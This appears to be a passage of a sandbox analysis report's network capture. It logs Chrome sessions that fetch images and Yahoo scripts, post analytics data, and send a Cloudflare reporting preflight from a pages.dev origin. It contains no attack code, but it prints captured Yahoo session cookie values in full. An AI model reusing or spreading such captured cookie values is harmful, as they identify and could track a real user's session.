2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 18 1b 7a d9 e8 20 4b 84 8c 20 43 62 64 60 a9 41 47 25 22 53 aa 4c c0 b2 a5 80 81 0d 7e fc 30 f9 71 a5 cd 9b 62 cc c9 34 47 a5 26 ce 9f 20 53 c8 ec 27 09 82 93 05 40 93 5a 84 30 b4 1f 2b 43 3d 95 4a 6d 08 81 1a 3f 7d 44 c7 e9 a3 39 b5 ab 4b 9f d4 7c 5c cd 5a 8a a7 d7 b3 06 3e 6e d1 d0 74 6c a1 38 a8 50 fa 7c 89 16 a8 06 b1 58 b5 ba 4d 31 f7 00 dd ba 36 ef 58 69 9b 57 6f 1c a3 48 12 a7 05 7c 73 9e 4e b7 fd 0a 47 96 c5 f5 2b e3 94 86 22 9b 22 ec 96 15 11 23 48 17 5b be 7c 71 f0 0f 53 5a 39 47 96 04 2a aa e8 d1 a4 1f da c1 5b 48 af e4 bc 92 7e 20 1e 80 a0 37 ec df b1 15 23 90 40 3b f5 ed d5 3f 7c 2c e1 ed 1b 78 70 84 05 b6 c4 a9 4d dd f6 f1 ab 71 9e 14 60 ee f7 81 f7 8a ce 63 57 ff 81 52 fd fa f5 92 af bf 83 7f 0e 5b 03 3b cd d6 cb cb c7 fa 59 8c fa fb e1 2f Data Ascii: z K Cbd`AG%"SL~0qb4G& S'@Z0+C=Jm?}D9K\|\Z>ntl8P\|XM16XiWoH\|sNG+""#H[\|qSZ9G*[H~ 7#@;?\|,xpMq`cWR[;Y/
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 04 00 21 f9 04 05 03 00 c3 00 2c 4e 00 de 00 6d 00 76 00 00 08 ff 00 01 08 1c 48 b0 a0 c1 83 08 13 22 59 c8 50 a1 c3 87 10 23 4a 9c 48 b1 a2 c5 8b 18 33 06 e0 c2 31 8a c7 2b 54 be 44 39 41 ec 81 91 04 06 52 4e 59 c9 b2 a3 c6 97 30 25 82 9c 49 e7 12 98 27 28 55 ce 6c 19 b3 a7 cf 8d 1f 09 88 11 29 72 09 a3 59 92 20 1c 18 da 6e 27 cf 9f 50 7d 12 6d 50 69 13 1b 1b 50 74 3e 75 19 b5 eb 4b 06 4b 80 58 70 33 28 de 23 04 42 81 6e f5 ca 16 63 03 28 8a 60 08 8b 21 6d c7 98 b4 6b db ea 95 59 c4 88 86 3c 26 00 f9 b9 d5 a1 03 bb 62 26 d5 3a d0 ba b7 71 ce c7 3b bd 70 03 5c cd 1a 61 60 90 82 08 49 bc b8 b3 62 c7 a0 b1 84 41 2b 81 db d8 ca 96 79 c9 fb 73 76 b4 d3 a5 a1 63 17 70 fd e3 18 8d db a8 53 b3 11 9d a5 77 13 ce b1 65 43 80 7b 5a c4 9f 70 c8 67 88 92 97 62 89 eb Data Ascii: !,NmvH"YP#JH31+TD9ARNY0%I'(Ul)rY n'P}mPiPt>uKKXp3(#Bnc(`!mkY<&b&:q;p\a`IbA+ysvcpSweC{Zpgb
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: f9 ff ce 0f ca c0 16 8d 38 a5 b0 2c 91 b6 4b ee 33 97 fd f4 5f d1 68 91 03 02 56 80 1a a3 08 da 6d d6 99 d0 40 ee 06 95 ac a8 c5 c4 f8 e9 ce 8a 72 d4 4e b2 1c 20 67 98 c0 83 56 c2 d3 a3 59 1c 1a 24 c7 26 90 20 18 ab a3 28 b5 e6 24 28 b1 52 96 12 e1 a5 27 8d a9 0f 83 99 4c c5 11 c3 0c bf f3 45 ad bc a6 53 f7 8d 82 1d 4a b1 a9 ca 76 48 46 84 16 15 73 49 19 e2 4f 83 2a 54 62 3e 55 a1 41 64 29 00 88 b0 54 fd 39 f5 aa 71 cb aa 52 73 6a 55 b0 16 6f 06 89 58 82 56 27 00 54 b3 02 12 1c d9 f4 29 4e 4d fa 55 b7 1e 4c 18 3e 78 9e 62 ba 80 0e aa 96 d5 ae 2f 6c 83 39 4c d8 05 1c f8 f5 af 80 05 21 1b 06 6b c2 29 72 6f a8 75 4d 6c 9a 2c 10 8b 5e d2 0f 0c f0 a9 a2 64 21 d8 06 88 10 09 97 82 db 6c ba e4 f3 2d 02 ba 0d b4 a2 55 ec 35 ea 59 90 42 a4 b3 03 f8 8b 23 6a 53 4b Data Ascii: 8,K3_hVm@rN gVY$& ($(R'LESJvHFsIO*Tb>UAd)T9qRsjUoXV'T)NMUL>xb/l9L!k)rouMl,^d!l-U5YB#jSK
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 0d 31 81 43 84 73 f6 29 27 1b c8 cc 73 9b 9a 78 6a 61 28 02 5e 6c 61 8a 74 7e 5e 49 e6 2a 73 1c 3a e4 9a 05 54 d1 42 33 1e 34 aa 29 2f c1 2c d3 0d 72 ca 4d 5a a3 94 fb c4 e3 22 9c 3c 6e 5a 8d 28 80 a4 30 1a 86 85 82 ff 8a 40 1d df 2c 62 6b 9c a8 3a 2a e7 3a 1a 20 3a 68 a1 14 14 d3 88 38 b8 e6 aa ab 9c f1 90 32 cf 71 b1 22 50 8c 21 2c 7a 66 ec b4 aa c2 b2 49 25 d8 35 4b 0c 37 3a fe 48 6d aa 4a f6 39 c9 23 52 1c 10 6b 0a 3a dc 3a e6 b7 e1 8a bb 03 18 e5 56 26 ea 65 bd 31 f2 26 ab ec 16 ab 2a 0b c3 14 21 c6 bc bb 31 41 4d 26 62 e2 9b 2f b8 8d 7a ea 1d a1 1c d2 11 1e 2e 16 1e ac af aa 32 38 62 5c 7f 0c ef 26 47 ba 11 1f 8b 70 b5 8e f8 9a f1 6a 1e 76 c2 a9 c1 1e a7 3c a7 37 91 b6 e3 24 77 76 d0 e1 0a 88 de 4e ac f2 a6 9c 78 e3 f2 cb 00 93 15 c4 0f 87 d9 4c f1 Data Ascii: 1Cs)'sxja(^lat~^Is:TB34)/,rMZ"<nZ(0@,bk:: :h82q"P!,zfI%5K7:HmJ9#Rk::V&e1&*!1AM&b/z.28b\&Gpjv<7$wvNxL
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: b1 8f 05 42 84 f6 d6 b8 c8 37 5e 44 73 b9 bb e4 81 10 c3 0c 19 86 b2 24 d9 c1 61 2a 2f b9 c9 5a e6 69 22 bc ca d1 2a 33 79 a0 36 3c 59 9a c3 fc c3 77 8c c6 ff cb 55 96 00 9a b3 cc e6 f9 8d 19 ce 71 ae 55 9d 0d 7a 67 3c 4b e4 41 e8 1c f2 9a f7 8c 40 70 64 f7 c4 4a fe 32 0f 46 f9 56 42 ff 70 6e 49 4e f4 9f d1 a1 35 b3 ea 75 d0 8e 96 5c 2d d8 60 0e 09 6b 48 d2 36 c2 01 8d 1b 9d e9 e4 1d a6 d3 ff fa b4 aa 41 ed 90 56 8c 22 6b 96 a6 68 a9 63 c7 86 78 10 37 d5 14 36 33 93 7d c1 6b 22 cb 7a d6 9a 6e 03 6b c6 10 bc 4b 0b 19 d8 a1 53 84 b0 3d ad 6b 82 1c 07 1e 20 8d f5 b1 91 fd b6 58 84 8c d9 cd 26 88 20 f4 30 88 f1 52 7b 7b c2 d0 83 6b b1 ad 91 1f 70 db d7 df a6 b5 2d e8 1b e3 85 a0 22 15 a3 4e 77 ec 66 71 0c cb b5 5b 21 e0 f1 b6 bc 93 cd 0f 7b df 1b 21 5d 40 87 Data Ascii: B7^Ds$a/Zi"3y6<YwUqUzg<KA@pdJ2FVBpnIN5u\-`kH6AV"khcx763}k"znkKS=k X& 0R{{kp-"Nwfq[!{!]@
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: c1 9f 7f fe cd d1 49 53 c0 44 38 08 66 22 54 68 e1 1a ab c9 62 47 4d 48 d8 c5 60 68 08 b4 b0 0c 79 14 5e 68 60 25 5c c9 d6 a1 87 1f e6 45 00 01 2a f4 03 a1 7d 25 9a 38 9d 38 fa d1 f4 04 8b 2d e2 f5 62 0a df c4 80 9a 81 35 da f8 87 38 40 e9 c8 63 8f 6c 79 e1 c5 0e 58 d1 88 8d 1a 54 56 69 a4 0b a8 54 70 dd 82 49 44 b0 00 93 3e a2 23 cd 22 7e 48 69 65 91 e5 a1 f5 de 92 60 8a b5 65 23 b6 68 c6 98 09 19 d4 39 e5 99 78 96 79 c1 23 5e ee c7 66 9b 30 ad 70 9d 39 93 f4 45 e4 9d 79 16 f9 49 1b 4a 02 da 64 18 75 3c 83 a1 99 88 26 3a 5e 66 9e 04 c1 e1 8a 5f 3a ea a6 1c 41 5e 69 a7 a5 79 ea 60 88 60 9c 7a aa 53 01 15 30 41 e2 a1 68 c6 ff 1a ca 05 8c 28 30 0f 64 5b a6 aa 6a 4b d7 d9 81 0c 7d 94 c2 21 ac ac b1 ee e0 cf 1d 2f e6 ba ab 4e fd 6c d3 4b 62 71 0d 49 ec b4 16 Data Ascii: ISD8f"ThbGMH`hy^h`%\E*}%88-b58@clyXTViTpID>#"~Hie`e#h9xy#^f0p9EyIJdu<&:^f_:A^iy``zS0Ah(0d[jK}!/NlKbqI
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2f 66 44 9c 00 2d 2e 78 41 b8 8a 68 d4 34 bb 3e 6b 07 05 28 30 56 79 aa 77 bd 32 2c 43 1d 58 a5 dd 54 6d e0 57 df bd 2f 7e e1 c7 09 12 ce b6 21 0a 0c f0 5c 07 ec 5a 7a ec d3 7c a4 a5 2d 18 3a 2b 60 06 7f f6 02 f4 a8 87 0f 20 1c 61 db 6c c0 9e 08 74 29 6b 2d 1c d4 e7 01 41 03 4a fc 08 45 c8 30 ce 10 57 98 c4 43 c4 c4 0f 78 07 ca 86 6c 6f aa 2e 8e de 88 61 5c d6 36 d4 60 03 59 8d c8 04 f0 b0 da d3 51 58 4f 22 e6 b1 67 47 d1 83 5b 05 b9 b9 ac 44 69 5f 5f ac 64 ce e1 63 0e f3 b8 15 45 48 99 45 78 ee 98 ca 55 ae 9a b5 36 30 d9 87 fc 13 a8 e4 0c b3 71 93 04 b2 cb 79 77 ff b1 6a d6 6d 59 1c ba 90 29 26 36 cd 71 96 2e 35 38 fc 90 55 ea 78 c1 79 26 31 2d 6d 33 94 20 48 42 a5 81 86 71 33 ee aa 10 0d 74 4d c1 89 06 ef 32 4c 61 5e 84 94 e1 c8 1a fd 72 a4 e5 ca 66 8e Data Ascii: /fD-.xAh4>k(0Vyw2,CXTmW/~!\Zz\|-:+` alt)k-AJE0WCxlo.a\6`YQXO"gG[Di__dcEHExU60qywjmY)&6q.58Uxy&1-m3 HBq3tM2La^rf
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 03 ac e7 93 d8 b4 04 d4 b0 2d 1f 89 7a 79 c6 55 01 69 87 20 32 8a 4b 10 07 f0 d0 83 73 48 62 cd 60 95 57 69 89 2a 26 19 92 60 6c ff 08 71 7b e9 0d 14 57 6a a1 c1 04 6b f9 94 61 37 91 0c 76 0a fb b5 94 94 b9 2a 82 65 0e ee e0 88 3b 57 9a e0 c6 09 c7 f2 99 82 f7 28 2e 27 1b 2a 10 07 6f 96 79 a6 d9 58 fa 15 8a 5a b9 98 3d a9 98 68 79 07 e7 e0 0e cf 94 99 c9 58 8e 41 a5 0a 37 50 09 14 a0 81 74 49 15 c9 72 08 28 00 25 c1 f9 88 9b 25 95 f8 d4 14 33 40 06 75 30 5f 04 99 9c ac 69 0e cc 00 09 67 e0 3d be b8 5b d2 d0 90 0a 36 b0 61 ba 79 8f 3d c2 2a 41 50 0c f8 d3 8f c1 04 1d 93 70 44 b5 17 93 b8 49 2f 1a d0 9b ab d0 7c 90 d5 4d a7 77 61 a4 94 0d ac 90 8d af 53 9f e5 a2 25 75 70 0a 8e 80 99 fc a9 49 f5 57 27 8c 60 0a e3 75 9c b7 79 72 7e f9 32 8d 22 0b 95 70 0c 3a Data Ascii: -zyUi 2KsHb`Wi&`lq{Wjka7ve;W(.'oyXZ=hyXA7PtIr(%%3@u0_ig=[6ay=APpDI/\|MwaS%upIW'`uyr~2"p:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49836	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	537	OUT	GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: nTF2gEdkub7Kwd2bV9VnGSIhFs1wlKJ5ssgu5AZOO8voHQCKe+puV8dxJa5cYIObMXFeH5AxjYk= x-amz-request-id: 24BH6DXT5GB0SRFX Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Mon, 23 Aug 2021 06:24:25 GMT ETag: "956dabf4d28930bc42d934995b814d6d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 8acCB8Oldv6HTX7VU3iQtZux9BoZJqhX Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 3412 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	792	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 65 78 74 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 65 78 74 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e Data Ascii: .p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){if(!e)throw new ReferenceError("this hasn
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 20 75 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6f 29 26 26 28 65 5b 6f 5d 3d 72 5b 6f 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6f 3d 74 5b 72 5d 3b 6f 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6f 2e 65 6e 75 6d 65 72 61 Data Ascii: u=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},s=function(){function e(e,t){for(var r=0;r<t.length;r++){var o=t[r];o.enumerable=o.enumera
2024-01-10 23:27:11 UTC	20	IN	Data Raw: 2e 77 61 66 65 72 2d 74 65 78 74 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: .wafer-text"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49837	35.190.80.1	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	544	OUT	OPTIONS /report/v3?s=fjkN7CTLzCAHy%2BTjWKPys1UJgMg8ybb3tLJ9rf2Oyj3kUFdRrjTn%2BQ17kwkcGVfs%2FQlLMjM51Oqv2vggVmNaTXSx8ctmKg9jGqDnS97oDyHdMSVbTir70izZ2M0JQtCoVerzsQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://see-eim.pages.dev Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 10 Jan 2024 23:27:10 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49838	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1125	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1704929230325&yhlClientVer=3.53.38&yhlRnd=GYaH2CqtCzKXEyPc&yhlCompressed=3 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 2178 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	2178	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 76 56 6a 62 62 74 73 34 45 50 30 56 51 77 25 32 42 37 4c 30 34 69 53 33 5a 69 42 39 67 48 78 5a 47 62 46 6e 45 61 35 39 70 4c 43 6f 47 53 61 49 73 62 53 56 52 4a 79 71 34 62 35 4e 39 33 52 6e 4a 6b 4a 31 51 58 43 35 54 59 4a 33 4e 6d 71 44 6e 44 34 5a 6b 68 36 53 63 72 4c 4b 7a 6a 4a 79 73 67 50 57 6b 64 57 25 32 46 46 66 33 73 77 37 4f 54 6c 66 35 62 6c 7a 4f 25 32 46 62 50 25 32 42 36 6e 76 25 32 42 68 25 32 46 47 25 32 46 65 43 54 50 50 30 38 36 54 4f 56 58 39 30 4e 4a 25 32 46 37 43 50 25 32 46 46 6d 6b 77 46 25 32 46 64 31 39 38 69 56 63 72 6d 30 32 39 67 45 34 39 7a 25 32 46 76 6a 47 68 31 34 58 70 70 39 65 44 38 36 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'vVjbbts4EP0VQw%2B7L04iS3ZiB9gHxZGbFnEa59pLCoGSaIsbSVRJyq4b5N93RnJkJ1QXC5TYJ3NmqDnD4Zkh6ScrLKzjJysgPWkdW%2FFf3sw7OTlf5blzO%2FbP%2B6nv%2Bh%2FG%2FeCTPP086TOVX90NJ%2F7CP%2FFmkwF%2Fd198iVcrm029gE49z%2FvjGh14Xpp9eD86
2024-01-10 23:27:11 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Wed, 10 Jan 2024 23:27:11 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49839	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1125	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1704929230338&yhlClientVer=3.53.38&yhlRnd=PEsKEXtMB1vH0xtU&yhlCompressed=3 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 3820 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	3820	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 37 5a 70 62 63 39 71 36 46 73 65 25 32 46 69 6f 65 48 30 35 65 34 39 52 58 62 6e 54 6b 50 4a 48 46 53 73 72 46 7a 41 5a 49 4e 4f 33 73 38 73 69 78 6a 67 57 32 35 74 72 68 32 25 32 42 74 33 33 6b 6f 46 41 51 74 4c 54 79 51 79 37 66 54 68 50 53 45 76 58 76 25 32 46 54 54 30 70 4b 54 62 34 32 77 61 48 7a 25 32 42 31 67 69 51 57 6a 55 25 32 42 4e 36 4c 25 32 46 74 6d 35 62 70 36 65 64 65 5a 35 72 25 32 46 54 4f 33 59 36 53 75 37 6c 36 64 47 63 47 66 31 66 6e 67 77 71 41 38 76 37 75 33 4c 39 79 52 65 39 71 36 76 54 44 5a 35 55 4d 78 6a 4f 5a 7a 68 58 71 74 67 48 69 74 56 75 73 25 32 46 58 64 46 42 71 35 56 6d 56 32 33 6e 31 48 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'7Zpbc9q6Fse%2FioeH05e49RXbnTkPJHFSsrFzAZINO3s8sixjgW25trh2%2Bt33koFAQtLTyQy7fThPSEvXv%2FTT0pKTb42waHz%2B1giQWjU%2BN6L%2Ftm5bp6edeZ5r%2FTO3Y6Su7l6dGcGf1fngwqA8v7u3L9yRe9q6vTDZ5UMxjOZzhXqtgHitVus%2FXdFBq5VmV23n1H
2024-01-10 23:27:11 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Wed, 10 Jan 2024 23:27:11 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49840	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	537	OUT	GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: Ms2UZLvHVPpBoO34xlU+7coCuQarjc8QhHw/VE7o0AweuFvlRznhC2sHYi3FGVoninuqz17DGzk= x-amz-request-id: CJEFY52A8TJSZ5KB Date: Wed, 10 Jan 2024 14:24:40 GMT Last-Modified: Tue, 11 Jan 2022 10:14:03 GMT ETag: "9fba2531ffa6cb0b4d3d34c56c295495" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Qyt1s0oNtpHMZryrsEe7nbfplEXvu_oO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 3666 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 32552 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, 